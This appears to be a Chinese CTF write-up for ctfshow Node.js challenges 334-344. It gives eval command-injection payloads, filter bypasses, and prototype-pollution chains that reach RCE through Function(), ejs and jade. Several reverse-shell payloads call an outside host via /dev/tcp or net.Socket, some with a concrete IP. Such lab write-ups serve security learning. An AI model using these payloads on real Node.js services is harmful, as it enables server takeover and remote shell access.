ctfshow web入门之nodejs

334

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。 所以用ctfſhow 123456登录就可以出flag了

335

f12 源码提示

1
<!-- /?eval= -->

即简单命令执行

1
/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

获取 flag

1
/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

336

f12 源码提示

1
<!-- /?eval= -->

即简单命令执行

1
/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

获取 flag

1
/?eval=require(%27child_process%27).spawnSync(%27cat%27,[%27fl001g.txt%27]).stdout.toString()

其他命令执行的payload

1
2
3
require('child_process').spawnSync('ls',['.']).stdout.toString()
require('child_process').execSync('ls').toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

用 2,3方法被黑名单了

学学y4的解题思路

先通过全局变量读取当前目录位置

1
/?eval=__filename

当前目录

1
/?eval=__dirname

读文件

1
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

发现过滤了exec和load

绕过方法

1
?eval=require('child_process')['exe'+'cSync']('ls').toString()  加号url编码一下否则会被url解码为空格

因为 require('child_process') 方法返回一个对象,可以通过类型 Python数组的方式去访问里面的成员。

或者用其他模块读文件

1
2
/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt','utf-8')

当然还有其他姿势,比如变量拼接在执行

1
2
3
var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec('cat+fl001g.txt>public/1.txt');";eval(s+b+c);

同样加号也得编码

337

数组绕过

payload: a[x]=1&b[x]=2 还有这种也行 a[]=1&b=1

控制台运行一下代码

1
2
3
4
5
a={'x':'1'}
b={'x':'2'}
这里a和b是对象
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

https://img-blog.csdnimg.cn/20d134694c894ba1806d532a5105e879.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

a[0]=1&b[0]=2不行 因为当我们这样传的时候相当于创了个变量a=[1] b=[2]

1
2
3
4
5
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

https://img-blog.csdnimg.cn/65e8642fc7954f99a5600679acf5ba80.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

338

先看看这篇文章了解一波什么是 JS 的原型链污染

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

关键代码

utils/common.js

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

routes/login.js

1
2
3
4
5
6
var secert = {};
....
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}

也就是说,我们不用关心 secert 是否有 ctfshow 这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。

这里的 secert 是一个数组,然后 utils.copy(user,req.body); 操作是 user 也是数组,也就是我们通过 req.body 即 POST 请求体传入参数,通过 user 污染数组的原型,那么 secert 数组找不到 ctfshow 属性时,会一直往原型找,直到在数组原型中发现 ctfshow 属性值为 36dboy 。那么 if 语句即判断成功,就会输出 flag 了。

payload

1
{"__proto__": {"ctfshow": "36dboy"}}

339

和 web338 有点相似,不过不同点是

1
2
3
4
5
6
var flag='flag_here';
....
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}

flag 是变量,具体值不知

然后还多了个 api.js ,主要关注这行

1
res.render('api', { query: Function(query)(query)});

是不是和 web338 里的参考链接 PHITHON 师傅出的 Code-Breaking 2018 Thejs 如出一辙?即可以 RCE,因为这里可污染点存在的匿名函数调用

污染 query 对象,就可以执行任意我们想执行的代码,比如反弹个 shell 再获取 flag ~

然后污染点和 web338 一致,在 login.js 里的 utils.copy(user,req.body); ,代码执行的触发点在 api.jsres.render('api', { query: Function(query)(query)});

这个Function()() 第一个括号放的是函数体 第二个放的是形参

https://img-blog.csdnimg.cn/934d81fde801488fb7998e257cb67a27.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTc4NTI4OA==,size_16,color_FFFFFF,t_70

1
2
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \\"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\\"')"}}
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \\"bash -i >& /dev/tcp/112.124.39.118/4567 0>&1\\"')"}}}

先 POST 一下 login 接口,污染 query 对象,然后直接 POST 一下 api 接口即可。 flag在login.js

因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require 这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require 进行编译。

下面是另一种解法

1
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

340

和上面的题基本类似,但是需要向上污染两级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);

运行后会发现user.query输出的是123,说明我们成功污染了两级, payload:

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \\"bash -i >& /dev/tcp/xxx/4567 0>&1\\"')"}}}

341

ejs rce

https://evi0s.com/2019/08/30/expresslodashejs-从原型链污染到rce/

https://xz.aliyun.com/t/7184#toc-7

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/112.124.39.118/4567 0>&1\\"');var __tmp2"}}

然后再次访问页面就能反弹shell了

342-343

jade原型链污染 参考链接

https://xz.aliyun.com/t/7025 和链接稍微不同,有兴趣的可以动调研究下 payload(反弹shell)

1
2
3
{"proto":{"proto": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/112.124.39.118/4567 0>&1\\"')"}}}

{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(4567,'112.124.39.118',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

在login页面打上去之后随便访问下,就会反弹

344

1
2
3
4
5
6
7
8
9
10
11
12
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。 payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

参考文章

原型链学习

继承与原型链 - JavaScript | MDN

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://xz.aliyun.com/t/2802

wp参考

https://tari.moe/2021/05/04/ctfshow-nodejs/

https://blog.csdn.net/miuzzx/article/details/111780832

https://blog.csdn.net/solitudi/article/details/111669500

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~